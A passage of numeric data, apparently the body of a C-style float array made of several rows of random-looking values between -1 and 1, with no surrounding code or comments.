-0.309373554231866f, -0.479824461459095f, -0.720536286348018f, -0.460418173937526f, 0.774174710513849f, 0.452001499049874f, -0.316992092650694f, 0.153064869645527f, -0.209558599627989f, 0.685508351648252f, -0.508615450383790f, 0.598109567185095f, 0.391177475074196f, 0.964444988755186f, 0.336277292954506f, -0.0367817159101076f, -0.668752640081528f, 0.169621732437504f, -0.440925495294537f, 0.352359477392856f, 0.300517139597811f, 0.464188724292127f, 0.342732840629593f, -0.772028689116952f, 0.523987886508557f, 0.920723209445309f, 0.325634245623597f, 0.999728757965472f, -0.108202444213629f, -0.703463061246440f, -0.764321104361266f, 0.153478091277821f, 0.400776808520781f, 0.0362608595686520f, 0.602660289034871f, -0.00396673312072204f, 0.296881393918662f, 0.563978362789779f, 0.849699999703012f, 0.699481370949461f, -0.517318771826836f, 0.488696839410786f, -0.863267084031406f, 0.0353144039838211f, 0.346060763700543f, 0.964270355001567f, 0.354899825242107f, 0.806313705199543f, 0.675286452110240f, 0.0873918818789949f, -0.595319879813140f, 0.768247284622921f, 0.424433552458434f, -0.308023836359512f, 0.802163480612923f, -0.348151008192881f, -0.889061130591849f, -0.593277042719599f, -0.669426232128590f, 0.758542808803890f, 0.515943031751579f, -0.359688459650311f, 0.568175936707751f, 0.741304023515212f, 0.260283681057109f, 0.957668849401749f, -0.665096753421305f, 0.769229664798946f, -0.0871019488695104f, -0.362662093346394f, -0.411439775739547f, 0.700347493632751f, 0.593221225653487f, 0.712841887456470f, 0.413663813878195f, -0.868002281057698f, -0.704419248587642f, 0.497097875881516f, -0.00234623694758684f, 0.690202361192435f, -0.850266199595343f, 0.315244026446767f, 0.709124123964306f, 0.438047076925768f, 0.798239617424585f, 0.330853072912708f, 0.581059745965701f, 0.449755612947191f, -0.462738032798907f, 0.607731925865227f, 0.0898348455002427f, -0.762827831849901f, 0.895598896497952f, -0.752254194382105f, -0.0916186048978613f, -0.906243795607547f, 0.229263971313788f, 0.401148319671400f, -0.699999035942240f, 0.949897297168705f, 0.442965954562621f, -0.836602533575693f, 0.960460356865877f, -0.588638958628591f, -0.826876652501322f, 0.358883606332526f, 0.963216314331105f, -0.932992215875777f, -0.790078242370583f, 0.402080896170037f, -0.0768348888017805f, 0.728030138891631f, -0.259252300581205f, -0.239039520569651f, -0.0343187629251645f, -0.500656851699075f, 0.213230170834557f, -0.806162554023268f, -0.346741158269134f, 0.593197383681288f, -0.874207905790597f, 0.396896283395687f, -0.899758892162590f, 0.645625478431829f, 0.724064646901595f, 0.505831437483414f, -0.592809028527107f, 0.191058921738261f, 0.329699861086760f, 0.637747614705911f, 0.228492417185859f, 0.350565075483143f, 0.495645634191973f, 0.0378873636406241f, -0.558682871042752f, -0.0463515226573312f, -0.699882077624744f, -0.727701564368345f, -0.185876979038391f, 0.969357227041006f, -0.0396554302826258f, 0.994123321254905f, -0.103700411263859f, -0.122414150286554f, -0.952967253268750f, -0.310113557790019f, 0.389885130024049f, 0.698109781822753f, -0.566884614177461f, -0.807731715569885f, 0.295459359747620f, 0.353911434620388f, -0.0365360121873806f, -0.433710246410727f, -0.112374658849445f, -0.710362620548396f, -0.750188568899340f, -0.421921409270312f, -0.0946825033112555f, -0.207114343395422f, -0.712346704375406f, -0.762905208265238f, 0.668705185793373f, 0.874811836887758f, 0.734155331047614f, 0.0717699959166771f, -0.649642655211151f, 0.710177200600726f, -0.790892796708330f, -0.609051316139055f, 0.158155751049403f, 0.273837117392194f, 0.101461674737037f, -0.341978434311156f, 0.358741707078855f, 0.415990974906378f, 0.760270133083538f, 0.164383469371383f, 0.559847879549422f, 0.209104118141764f, -0.265721227148806f, 0.165407943936551f, 0.611035396421350f, -0.626230501208063f, -0.116714293310250f, -0.696697517286888f, 0.0545261414014888f, 0.440139257477096f, 0.202311640602444f, -0.369311356303593f, 0.901884565342531f, 0.256026357399272f, -0.673699547202088f, 0.108550667621349f, -0.961092940829968f, -0.254802826645023f, 0.553897912330318f, 0.110751075533042f, -0.587445414043347f, 0.786722059164009,
0.182042556749386f, 0.398835909383655f, 0.431324012457533f, 0.587021142157922f, -0.644072183989352f, 0.187430090296218f, 0.516741122998546f, -0.275250933267487f, -0.933673413249875f, -0.767709448823879f, 0.00345814033609182f, -0.585884382069128f, 0.463549040471035f, 0.666537178805293f, -0.393605927315148f, -0.260156573858491f, -0.298799291489529f, -0.246398415746503f, 0.970774181159203f, -0.485708631308223f, -0.456571313115555f, -0.264210030877189f, -0.442583504871362f, 0.0585567697312368f, 0.955769232723545f, 0.651822742221258f, 0.667605490119116f, -0.178564750516287f, 0.744464599638885f, -0.0962758978504710f, -0.538627454923738f, -0.844634654117462f, 0.109151162611125f, -0.862255427201396f, -0.478955305843323f, 0.645965860697344f, 0.345569271369828f, 0.930605011671297f, -0.195523686135506f, 0.927940875293964f, 0.0529927450986318f, -0.537243314646225f, 0.0815400161801159f, -0.528889663721737f, -0.0803965087898244f, 0.722188412643543f, -0.115173100460772f, 0.391581967064874f, 0.609102624309301f, -0.726409099849031f, -0.924071529212721f, -0.424370859730340f, -0.932399086010354f, -0.679903916227243f, 0.398593637781810f, -0.395942610474455f, 0.911017267923838f, 0.830660098751580f, 0.485689056693942f, -0.634874052918746f, 0.558342102044082f, 0.153345477027740f, -0.418797532948752f, -0.962412446404476f, 0.499334884055701f, 0.772755578982235f, 0.486905718186221f, -0.680415982465391f, -0.983589696155766f, 0.0802707365440833f, -0.108186099494932f, 0.272227706025405f, 0.651170828846750f, -0.804713753056757f, 0.778076504684911f, 0.869094633196957f, -0.213764089899489f, -0.289485853647921f, -0.248376169846176f, -0.273907386272412f, -0.272735585352615f, -0.851779302143109f, 0.777935500545070f, 0.610526499062369f, -0.825926925832998f, -0.00122853287679647f, -0.250920102747366f, -0.0333860483260329f, 0.562878228390427f, 0.685359102189134f, 0.909722844787783f, -0.686791591637469f, 0.700018932525581f, -0.975597558640926f, 0.111273045778084f, 0.0313167229308478f, -0.185767397251192f, -0.587922465203314f, -0.569364866257444f, -0.433710470415537f, 0.744709870476354f, 0.812284989338678f, -0.835936210940005f, 0.409175739115410f, 0.364745324015946f, -0.526496413512530f, -0.0949041293633228f, -0.710914623019602f, -0.199035360261516f, 0.249903358254580f, 0.799197892184193f, -0.974131439735146f, -0.962913228246770f, -0.0584067290846062f, 0.0678080882131218f, 0.619989552612058f, 0.600692636138022f, -0.325324145536173f, 0.00758797937831957f, -0.133193608214778f, -0.312408219890363f, -0.0752971209304969f, 0.764751638735404f, 0.207290375565515f, -0.965680055629168f, 0.526346325957267f, 0.365879948128040f, -0.899713698342006f, 0.300806506284083f, 0.282047017067903f, -0.464418831301796f, -0.793644005532544f, -0.338781149582286f, 0.627059412508279f, -0.624056896643864f, -0.503708045945915f, 0.339203903916317f, -0.920899287490514f, -0.753331218450680f, -0.561190137775443f, 0.216431106588929f, -0.191601189620092f, 0.613179188721972f, 0.121381145781083f, -0.477139741951367f, 0.606347924649253f, 0.972409497819530f, 0.00419185232258634f, 0.786976564006247f, 0.716984027373809f, -0.577296880358192f, 0.336508364109364f, -0.837637061538727f, -0.706860533591818f, 0.655351330285695f, -0.799458036429467f, 0.804951754011505f, 0.405471126911303f, 0.485125485165526f, 0.0354103156047567f, 0.774748847269929f, 0.396581375869036f, 0.420464745452802f, -0.544531741676535f, -0.779088258182329f, -0.129534599431145f, 0.228882319223921f, 0.669504936432777f, -0.158954596495398f, -0.171927546721685f, 0.675107968066445f, -0.201470217862098f, -0.185894687796509f, 0.244174688826684f, 0.310288210346694f, -0.0674603586289346f, 0.138103839181198f, 0.269292861340219f, 0.121469813317732f, 0.168629748875041f, 0.581112629873687f, 0.499508530746584f, -0.741772433024897f, -0.311060071316150f, -0.263697352439521f, 0.180487383518774f, -0.800786488742242f, -0.949903966987338f, 0.134975524166410f, 0.213364683193138f, -0.684441197699222f, -0.254697287796379f, -0.260521050814253f, -0.757605554637199f, -0.134324873215927f, -0.699675596579060f, 0.136000646890289f, 0.355272520354523f, -0.712620797948690f, -0.729995036352282f, 0.323100037780915f, -0.718364487938777f, 0.807709622188084f, 0.289336059472722f, -0.558738026311145f, -0.591811756545896f, -0.894952978489225f, -0.354996929975694f, -0.142213103464027f, -0.651950180085633f, 0.182694586161578f, -0.193492058009904f, -0.540079537334588f, -0.300927433533712f, 0.119585035086049f, 0.895807833710939f, -0.413843745301811f, -0.209041322713332f, 0.808094803654324f, 0.0792829008489782f, 0.314806980452270f, 0.502591873175427f, -0.0474189387090473f, -0.407131047818007f, 0.797117088440354f, 0.902395237588928f, -0.783327055804990f, -0.591709085168646f, 0.628191184754911f, -0.454649879692076f, -0.588819444306752f, 0.250889716959370f, -0.582306627010669f, -0.145495766591841f, -0.634137346823528f, 0.667934845545285f, 0.873756470938530f, 0.425969845715827f, -0.779543910541245f, -0.265210219994391f, 0.781530681845886f, 0.304461599274577f, 0.211087853085430f, 0.281022407596766f, 0.0701313665097776f, 0.342337400087349f, -0.0618264046031387f, 0.177147380816613f, 0.751693209867024f, -0.279073264607508f, 0.740459307255654f, -0.352163564204507f, -0.726238685136937f, -0.565819729501492f, -0.779416133306559f, -0.783925450697670f, 0.542612245021260f, -0.810510148278478f, -0.693707081804938f, 0.918862988543900f, -0.368717045271828f, 0.0654919784331340f, -0.438514219239944f, -0.923935138084824f, 0.913316783811291f, -0.961646539574340f, 0.734888382653474f, -0.464102713631586f, -0.896154678819649f, 0.349856565392685f, 0.646610836502422f, -0.104378701809970f, 0.347319102015858f, -0.263947819351090f, 0.343722186197186f, 0.825747554146473f, 0.0661865525544676f, 0.918864908112419f, -0.999160312662909f, -0.904953244747070f, 0.246613032125664f, 0.123426960800262f, -0.294364203503845f, -0.150056966431615f, 0.904179479721301f, 0.517721252782648f, 0.661473373608678f, -0.784276966825964f, -0.984631287069650f, 0.239695484607744f, -0.499150590123099f, 0.00153518224500027f, -0.817955534401114f, 0.221240310713583f, 0.114442325207070f, -0.717650856748245f, -0.722902799253535f, -0.962998380704103f, 0.214092155997873f, -0.226370691123970f, 0.536806140446569f, 0.111745807092858f, 0.657580594136395f, -0.239950592200226f, 0.0981270621736083f, -0.173398466414235f, 0.414811672195735f, 0.147604904291238f, -0.649219724907210f, 0.907797399703411f, -0.496097071857490f, -0.0958082520749422f, -0.700618145301611f, 0.238049932994406f, 0.946616020659334f, 0.143538494511824f, 0.0641076718667677f, 0.377873848622552f, -0.413854028741624f, -0.838831021130186f, 0.0208044297354626f, 0.476712667979210f, 0.850908020233298f, 0.0692454021020814f, 0.841788714865238f, -0.251777041865926f, 0.512215668857165f, 0.827988589806208f, -0.399200428030715f, 0.999219950547600f, -0.00465542086542259f, 0.279790771964531f, -0.683125623289052f, 0.988128867315143f, 0.00697090775456410f, -0.409501680375786f, -0.190812202162744f, -0.154565639467601f, 0.305734586628079f, -0.922825484202279f, -0.0622811516391562f, -0.502492855870975f, 0.358550513844403f, 0.678271216185703f, -0.940222215291861f, 0.568581934651071f, 0.953835466578938f, -0.476569789986603f, 0.0141049472573418f, 0.722262461730185f, -0.128913572076972f, -0.583948340870808f, -0.254358587904773f, -0.390569309413304f, -0.0495119137883056f, -0.486356443935695f, -0.112768011009410f, -0.608763417511343f, -0.145843822867367f, 0.767829603838659f, 0.791239479733126f, 0.0208376062066382f, -0.524291005204912f, -0.200159553848628f, -0.835647719235620f, -0.222774380961612f, 0.0617292533934060f, 0.233433696650208f, -0.543969878951657f, -0.628168009147650f, -0.725602523060817f, -0.273904472034828f, 0.320527317085229f, -0.556961185821848f, 0.261533413201255f, 0.696617398495973f, 0.200506775746016f, -0.395581923906907f, 0.0196423782530712f, -0.0552577396777472f, -0.594078139517501f, -0.816132673139052f, -0.898431571909616f, 0.879105843430143f, 0.949666380003024f, -0.245578843355682f, 0.528960018663897f, 0.201586039072583f, -0.651684706542954f, 0.596063456431086f, -0.659712784781056f, -0.213702651629353f, -0.629790163054887f, -0.0572029778771013f, 0.645291034768991f, -0.453266855343461f, -0.581253959024410f, 0.632682730071992f, 0.991406037765467f, 0.701390336150136f, -0.879037255220971f, -0.304180069776406f, 0.0969095808767941f, -0.465682778651712f, 0.815108046274786f, -0.532850846043973f, 0.950550134670033f, 0.296008118726089f, -0.198390447541329f, 0.159049143352201f, 0.105169964332594f, -0.482506131358523f, 0.493753482281684f, 0.292058685647414f, 0.283730532860951f, 0.00323819209092657f, 0.765838273699203f, -0.0753176377562099f, -0.679824808630431f, 0.548180003463159f, -0.996048798712591f, 0.782768288046545f, 0.396509190560532f, 0.848686742379558f, 0.750049741585178f, 0.730186188655936f, -0.0220701180542726f, -0.487618042364281f, -0.403562199756249f, -0.0693129490117646f, 0.947019452953246f, -0.731947366410442f, 0.198175872470120f, -0.329413252854837f, -0.641319161749268f, 0.186271826190842f, -0.0739989831663739f, -0.334046268448298f, -0.191676071751509f, -0.632573515889708f, -0.999115061914042f, -0.677989795015932f, 0.289828136337821f, 0.696081747094487f, 0.965765319961706f, -0.203649463803737f, -0.195384468978610f, 0.746979659338745f, 0.701651229142588f, -0.498361303522421f, 0.289120104962302f, 0.270493509228559f, -0.132329670835432f, 0.385545665843914f, -0.265371843427444f, 0.306155119003788f, -0.859790373316264f, -0.0198057838521546f, 0.233572324299025f, 0.426354273793125f, -0.510901479579029f, -0.600001464460011f, -0.972316846268671f, 0.531678082677910f, -0.0543913028234813f, -0.860333915321655f, 0.0717414549918496f, -0.992726205437930f, 0.587189647572868f, -0.710120198811545f, -0.712433353767817f, 0.000905613890617163f, 0.323638959833707f, -0.148002344942812f, 0.422217478090035f, -0.512122539396176f, -0.652032513920892f, -0.0749826795945674f, 0.689725543651565f, 0.00708142459169103f, 0.612282380092436f, -0.182868915402510f, -0.478704046524703f, 0.630078231167476f, -0.201694106935605f, 0.471080354222778f, 0.705764111397718f, 0.504296612895499f, -0.245442802115836f, -0.0255433216413170f, 0.244606720514349f, -0.620852691611321f, 0.130333792055452f, -0.0404066268217753f, 0.533698497858480f, 0.569324696850915f, -0.0208385747745345f, -0.344454279574176f, 0.697793551353488f, 0.223740789443046,
0.0819835387259940f, -0.378565059057637f, 0.265230570199009f, -0.654654047270763f, -0.959845479426107f, -0.524706200047066f, -0.320773238900823f, 0.133125806793072f, 0.204919719422386f, 0.781296208272529f, 0.357447172843949f, -0.295741363322007f, -0.531151992759176f, -0.928760461863525f, -0.492737999698919f, 0.185299312597934f, 0.0308933157463984f, 0.0940868629278078f, -0.223134180713975f, -0.728994909644464f, 0.748645378716214f, 0.602424843862873f, 0.939628558971957f, -0.601577015562304f, -0.178714119359324f, 0.812720866753088f, -0.864296642561293f, 0.448439532249340f, 0.423570043689909f, 0.883922405988390f, -0.121889129001415f, -0.0435604321758833f, -0.823641147317994f, -0.775345608718704f, -0.621149628042832f, 0.532395431283659f, -0.803045105215129f, 0.897460124955135f, 0.432615281777583f, -0.0245386640589920f, -0.822321626075771f, -0.992080038736755f, -0.829220327319793f, 0.125841786813822f, 0.277412627470833f, 0.623989234604340f, -0.207977347981346f, -0.666564975567417f, 0.419758053880881f, -0.146809205344117f, 0.702495819380827f, 0.802212477505035f, 0.161529115911938f, 0.987832568197053f, -0.885776673164970f, -0.608518024629661f, -0.126430573784758f, 0.168260422890915f, -0.517060428948049f, -0.766296586196077f, -0.827624510690858f, -0.149091785188351f, -0.643782325842734f, 0.768634567718711f, 0.815278279059715f, -0.648037361329720f, -0.480742843535214f, 0.983809287193308f, -0.701958358623791f, 0.0797427982273327f, 0.903943825454071f, 0.980486658260621f, 0.207436790541324f, -0.536781321571165f, -0.885473392956838f, -0.626744905152131f, 0.279917970592554f, -0.489532633799085f, 0.402084958261836f, -0.566738134593205f, -0.0990017532286025f, 0.458891753618823f, 0.893734110503312f, 0.541822126435773f, -0.856210577956263f, -0.0354679151809227f, -0.868531503535520f, 0.150589222911699f, 0.611651396802303f, 0.524911319413221f, 0.555472734209632f, -0.723626819813614f, -0.162106613127807f, 0.602405197560299f, 0.903198408993777f, 0.329150411562290f, -0.806468536757339f, -0.671787125844359f, -0.707262852044556f, 0.474934689940169f, -0.379636706541612f, 0.404933387269815f, 0.332303761521238f, 0.394233678536033f, -0.0366067593524413f, 0.904405677123363f, -0.356597686978725f, -0.623034135107067f, 0.572040316921149f, 0.799160684670195f, -0.507817199545094f, -0.533380730448667f, -0.884507921224020f, -0.00424735629746076f, 0.647537115339283f, 0.456309536956504f, -0.766102127867730f, -0.625121831714406f, 0.341487890703535f, -0.360549668352997f, -0.229900108098778f, -0.666760418812903f, 0.813282715359911f, 0.115522674116703f, -0.221360306077384f, 0.0297293679340875f, 0.00682810040637105f, 0.0115235719886584f, 0.887989949086462f, 0.792212187398941f, 0.415172771519484f, -0.600202208047434f, 0.949356119962045f, -0.526700730890731f, 0.946712583567682f, -0.392771116330410f, 0.0144823046999243f, -0.649518061223406f, 0.724776068810104f, 0.00920735790862981f, -0.461670796134611f, 0.217703889787716f, 0.846151165623083f, -0.202702970245097f, 0.314177560430781f, -0.761102867343919f, 0.0528399640076420f, -0.986438508940994f, -0.595548022863232f, -0.430067198426456f, 0.150038004203120f, 0.738795383589380f, -0.605707072657181f, -0.597976219376529f, 0.375792542283657f, -0.321042914446039f, 0.902243988712398f, 0.463286578609220f, -0.739643422607773f, 0.210980536147575f, -0.539210294582617f, 0.405318056313257f, -0.876865698043818f, -0.0883135270940518f, 0.0300580586347285f, -0.657955040210154f, 0.159261648552234f, 0.288659459148804f, 0.274488527537659f, 0.646615145281349f, 0.431532024055095f, -0.982045186676854f, -0.777285361097106f, -0.124875006659614f, 0.503004910525253f, 0.824987340852061f, -0.859357943951028f, -0.894837450578304f, 0.744772864540654f, 0.415263521487854f, 0.337833126081168f, -0.612498979721313f, 0.391475686177086f, 0.573982630935632f, -0.391044576636065f, 0.669493459114130f, -0.763807443372196f, -0.898924075896803f, -0.969897663976237f, -0.266947396046322f, 0.198506503481333f, -0.355803387868922f, 0.787375525807664f, 0.655019979695179f, -0.266247398074148f, -0.665577607941915f, 0.0617617780742654f, -0.303207459096743f, 0.807119242186051f, -0.864431193732911f, 0.711808914065391f, 0.267969697417500f, -0.643939259651104f, -0.723685356192067f, 0.887757759160107f, -0.318420101532538f, -0.984559057628900f, -0.123118506428834f, 0.264872379685241f, 0.258477870902406f, -0.727462993670953f, -0.223845786938221f, 0.683462211502638f, -0.989811504909606f, 0.292644294487220f, -0.926087081411227f, -0.801377664261936f, -0.337757621052903f, 0.356167431525877f, 0.974619379699180f, 0.456124311183874f, 0.664192098344107f, -0.910993234571633f, -0.484097468631090f, -0.128534589958108f, -0.770879324529314f, 0.320053414246682f, 0.249818479771296f, 0.0153345543766990f, 0.696352481669035f, -0.397719804512483f, 0.670333638147646f, -0.678192291329959f, 0.190143924397131f, 0.342035884244954f, -0.350791038317704f, 0.0218450632953668f, 0.437133719806156f, 0.659960895652910f, 0.903378806323159f, 0.855089775229062f, 0.946706092624795f, 0.335540975081955f, 0.838337968455111f, -0.102693592034237f, -0.702102376052106f, 0.409624309223486f, -0.654483499569910f, 0.886576641430416f, -0.200573725141884f, -0.461284656727627f, 0.262661770963709f, 0.867505406245483f, -0.0688648080253220f, -0.707487995489326f, -0.248871627068848f, -0.197869870234198f, -0.243745607075197f, -0.244106806741608f, 0.489848112299788f, -0.0909708869175492f, -0.377678949786167f, 0.0385783576998284f, -0.470361956031595f, 0.802403491439449f, -0.408319987166305f, 0.345170991986463f, -0.433455880962420f, 0.00950587287655291f, -0.441888155900165f, -0.817874450719479f, 0.818308133775667f, 0.931915253798354f, 0.818494801634479f, 0.787941704188320f, 0.882012210451449f, 0.0749985961399193f, 0.259772455233352f, -0.655786948552735f, 0.0824323575519799f, 0.980211564632039f, -0.798619050684746f, 0.496019643929772f, -0.727312997781404f, -0.999839600489443f, 0.625938920414345f, -0.561059012154101f, 0.215650518505246f, 0.121571798563274f, 0.161863493108371f, -0.340322748036792f, 0.521792371708641f, 0.655248389359818f, -0.180967013066484f, 0.936797969156762f, 0.523749660366580f, 0.764744126333943f, 0.384701560810431f, -0.744092118301334f, 0.719721922905938f, 0.365931545158250f, -0.720202871171563f, 0.121662048491076f, -0.355501954289222f, 0.379420491208481f, -0.593818415223405f, -0.433690576121147f, -0.766763563509045f, -0.377445104709670f, -0.955638620720410f, 0.309622585052195f, -0.613767678153186f, 0.0177719922394908f, 0.362917537485277f, -0.297613292472489f, 0.0275561832152067f, -0.962345352767599f, 0.452866577068408f, -0.307485159523065f, 0.931778412136845f, 0.639592220588070f, 0.00782144244951311f, -0.0466407334447796f, -0.134392603781566f, 0.895314655361308f, -0.537785271016286f, 0.663926391064792f, -0.886126633268266f, -0.0975129470189278f, -0.429791706025144f, -0.440337831994928f, -0.00156267573188829f, 0.933113069253665f, -0.560704402651437f, -0.201658150324907f, 0.465819560354530f, 0.0701448781871696f, 0.859597672251104f, -0.525851890358272f, -0.992674038068357f, -0.0846761339576128f, -0.401686794568758f, -0.886069686075370f, -0.480254412625133f, 0.432758053902000f, 0.168651590377605f, -0.453397134906684f, 0.340250287733381f, -0.972972507965963f, 0.0560333167197302f, -0.180812774382952f, -0.689848943619717f, -0.427945332505659f, 0.771841237806370f, 0.329334772795521f, 0.573083591606505f, 0.280711890938316f, -0.265074342340277f, -0.166538165045598f, -0.0612128221482104f, 0.458392746490372f, 0.199475931235870f, 0.681819191997175f, 0.356837960840067f, 0.756968760265553f, 0.763288512531608f, -0.890082643508294f, -0.322752448111365f, 0.799445915816577f, -0.956403501496524f, 0.723055987751969f, 0.943900989848643f, -0.217092255585658f, -0.426893469064855f, 0.834596828462842f, 0.723793256883097f, 0.781491391875921f, 0.928040296363564f, -0.468095417622644f, 0.758584798435784f, 0.589732897992602f, 0.929077658343636f, 0.829643041135239f, 0.0947252609994522f, 0.554884923338572f, -0.513740258764285f, -0.221798194292427f, 0.499855133319165f, -0.0237986912033636f, 0.559618648100625f, -0.509812142428963f, -0.444047241791607f, 0.678274420898738f, -0.983706185790147f, -0.295400077545522f, -0.688769625375228f, 0.729259863393412f, 0.889478872450658f, 0.928277502215167f, -0.429388564745762f, -0.790568684428380f, 0.930220908227667f, -0.796970618648576f, -0.980240003047008f, 0.0372716153521411f, -0.290828043433527f, -0.303854123029680f, 0.160774056645456f, -0.712081432630280f, 0.390787025293754f, 0.981202442873064f, -0.679439021090013f, 0.183053153027806f, 0.665002789261745f, -0.708708782620398f, 0.254574948166343f, 0.0575397183305137f, -0.723713533137924f, -0.732816726186887f, 0.501983534740534f, 0.879998734527489f, 0.825871571001792f, 0.920880943816000f, 0.311565022703289f, -0.788226302840017f, -0.223197800016568f, 0.850662847422425f, -0.365181128095578f, 0.958907951854379f, -0.0421327708909884f, -0.153860389403659f, -0.219620959578892f, -0.469076971423126f, -0.523348925540362f, -0.287762354299832f, -0.913332930679763f, 0.403264134926789f, 0.725849051303960f, 0.743650157693605f, -0.382580349065687f, -0.297138545454038f, -0.480092092629432f, 0.0412697614821378f, -0.396203822475830f, -0.0721078217568973f, 0.979038611510460f, -0.766187876085830f, -0.344262922592081f, 0.943351952071948f, -0.219460259008486f, 0.115393587800227f, -0.342675526066015f, 0.926460460401492f, -0.486133445041596f, 0.0722019534490863f, -0.571069005453629f, -0.0854568609959852f, 0.370182934471805f, -0.554007448618166f, 0.899885956615126f, -0.188476209845590f, -0.548132066932086f, 0.0559544259937872f, -0.161750926638529f, -0.532342080900202f, 0.585205009957713f, -0.374876171959848f, -0.169253952741901f, -0.473665572804341f, 0.942267543457416f, -0.515867520277168f, -0.706362509002908f, -0.320672724679343f, -0.398410016134417f, 0.733774712982205f, 0.449599271169282f, 0.109119420842892f, -0.285090495549516f, 0.0854116107702212f, 0.0603189331827261f, -0.943780826189008f, 0.0679186452322331f, 0.0975973769951632f, -0.870728474197789f, -0.153122881744074f, -0.519939625069588f, -0.633620207951748f, -0.767551214057718f, -0.905802311420298f, -0.841350087901049f, -0.271805404203346f, 0.282221543099561f, -0.0874121080198842f, 0.0634591013505281f, 0.318965595714934f, -0.865047622711268f, -0.401960840475322f, 0.637557181177199f, -0.664578054110050f, -0.871253510227744,
-0.893972634695541f, 0.442396058421524f, -0.427901040556135f, -0.740186385510743f, 0.788155411447006f, -0.541278113339818f, 0.509586521956676f, -0.461159620800394f, 0.664671981848839f, 0.880365181842209f, -0.0831685214800200f, 0.952827020902887f, 0.183226454466898f, -0.176729350626920f, 0.851946105206441f, -0.361976142339276f, 0.357209010683668f, 0.982462882042961f, -0.690757734204635f, 0.178681657923363f, -0.0804395784672956f, 0.971787623805611f, 0.875217157810758f, 0.160844021450331f, -0.359951755747351f, 0.0178495935461525f, 0.0203610854761294f, 0.413933338290502f, -0.676038601090005f, -0.111093077131977f, -0.381792206260952f, -0.459903351782575f, 0.308522841938619f, 0.324961267942541f, 0.365201262605939f, 0.732543185546895f, -0.559558093250200f, 0.848266528378337f, -0.185546299813159f, 0.997052205707190f, -0.932554828383249f, -0.106322273904826f, -0.0690562674587807f, 0.919489002936141f, 0.137210930163322f, -0.664517238270193f, -0.985856844408119f, -0.0719443995256963f, -0.602400574547167f, -0.398979518518077f, -0.581117055144305f, -0.0626081333075188f, -0.0372763806643306f, -0.688808592854889f, 0.703980953746103f, -0.480647539644480f, 0.615510592326288f, -0.940226159289884f, -0.953483236094818f, -0.300312284206625f, -0.819419230573751f, 0.657560634657022f, -0.0500336389233971f, 0.628589817614501f, 0.717012803783103f, -0.0315450822394920f, -0.445526173532186f, 0.521475917548504f, -0.479539088650145f, 0.695075897089419f, -0.0365115706205694f, 0.0256264409967832f, -0.0121306374106025f, -0.817618774100623f, 0.375407640753000f, 0.944299492219378f, -0.717119961760812f, -0.120740746804286f, 0.995225399986245f, -0.460846026818625f, 0.904552069467540f, 0.807270804870602f, -0.842962924665094f, -0.923108139392625f, -0.130295037856512f, 0.760624035683226f, 0.986419847047289f, -0.959218334866074f, -0.203345611185410f, -0.474420035241129f, -0.872329912560413f, 0.485994152094788f, -0.515456811755484f, -0.948541161235413f, 0.509659433909651f, 0.783030335970347f, -4.41004028146619e-05f, -0.664795573083349f, 0.917509788523214f, -0.824045573084530f, -0.461857767121051f, -0.667434409929092f, -0.00822974230444418f, 0.825606347148302f, -0.396378080991589f, 0.0161379983198293f, -0.940751675506308f, -0.520997013834332f, -0.239727035024153f, -0.354546027474561f, 0.430652211989940f, -0.557416557692462f, -0.357117274957257f, -0.891975448321656f, -0.0775302131779423f, 0.716775563686830f, -0.903453980341467f, 0.946455001410598f, -0.615060907661003f, 0.964288374469340f, 0.0506144897273089f, 0.720601612869967f, -0.991323837622476f, 0.647403093538608f, -0.400304988135589f, -0.883732066109751f, -0.792060477777513f, 0.710867542231890f, -0.840766000234525f, 0.460362174479788f, -0.834771343071341f, -0.329399142231491f, -0.139853203297018f, -0.760035442359396f, -0.546795911275364f, -0.598172518777125f, 0.244198671304740f, 0.0816980976432087f, -0.978470883754859f, -0.425173722072458f, -0.469868865988971f, 0.847396146045236f, 0.0513388454446360f, -0.545662072513986f, -0.130534232821355f, -0.654100097045099f, 0.0409163969999120f, 0.573001152600502f, 0.706046270983569f, 0.587208280138624f, 0.237670099964068f, 0.848355476872244f, -0.318971649676775f, -0.659343733364940f, 0.321817022392701f, -0.595779268050966f, -0.114109784140171f, 0.998897482902424f, -0.615792624357560f, -0.384232465470235f, 0.156963634764123f, 0.499645454164798f, -0.627603624482829f, 0.169440948996654f, 0.109888994819522f, -0.492231461622548f, -0.463014567947703f, 0.825436145613203f, -0.0271223123229367f, 0.497887971992266f, 0.811868354230459f, -0.192668816770168f, 0.287930938097264f, 0.0283112173817568f, 0.791359470942568f, 0.365100854153897f, -0.566922537281877f, 0.915510517906894f, 0.674211624006981f, 0.505848146007678f, 0.509348889158374f, -0.0477364348461706f, 0.409703628204478f, -0.820970358007873f, -0.565377675052345f, 0.810052924776160f, -0.448904038826591f, -0.830251135876445f, -0.660589978662428f, -0.890196028167542f, 0.130526506200048f, 0.924600157422957f, 0.587215078998604f, 0.727552064386916f, -0.224172021948978f, -0.182984019951690f, 0.308546229024235f, 0.971188035736775f, 0.0229902398155457f, 0.0608728749867729f, -0.0712317776940203f, 0.549832674352445f, -0.600015690750697f, -0.0495103483291919f, -0.564669458296125f, 0.726873201108802f, -0.197851942682556f, -0.983422510445155f, -0.905314463127421f, 0.453289030588920f, 0.792504915504518f, -0.840826310621539f, 0.0979339624518987f, -0.506416975007688f, -0.143310751135128f, -0.451251909709310f, -0.356156486602212f, -0.430777119656356f, -0.593002001098269f, -0.212505135257792f, -0.378005313269430f, 0.516460778234704f, -0.574171750919822f, -0.702870049350445f, 0.190454765104412f, 0.694962035659523f, 0.177498499962424f, -0.00126954773922439f, -0.766110586126502f, -0.769862303237397f, -0.208905136673906f, 0.0728026097773338f, -0.467480087700933f, -0.368839893652514f, -0.608806955889496f, -0.531329879815774f, 0.411920547737697f, -0.407318902586407f, 0.922406353838750f, -0.0272310683929855f, 0.781051179942937f, 0.860271807949640f, -0.703736733439623f, -0.285650334863399f, -0.466904334435873f, -0.716816768536707f, 0.0869377378786880f, -0.280331892461309f, 0.773946156883160f, -0.139856444064730f, 0.575680110908147f, -0.887887626173303f, 0.314286545048942f, 0.673119170729964f, 0.520399233930039f, 0.581347801663144f, 0.731708017815653f, 0.672583525027818f, -0.0534590776637494f, -0.880572908687369f, 0.171150522778545f, -0.377041265530122f, -0.478003213002057f, 0.458602883802583f, 0.836824527658741f, -0.0686622680764437f, -0.301000630566919f, -0.652562984155554f, 0.604631263268903f, 0.791770979838877f, 0.0790491584346489f, 0.812646960034949f, 0.138794042671596f, 0.709411730079774f, 0.226484869016811f, 0.797388098554019f, -0.162225991160828f, -0.0295749256270541f, 0.218242165083417f, 0.442845427695148f, -0.480622209857766f, 0.873464432574125f, -0.868017543466245f, 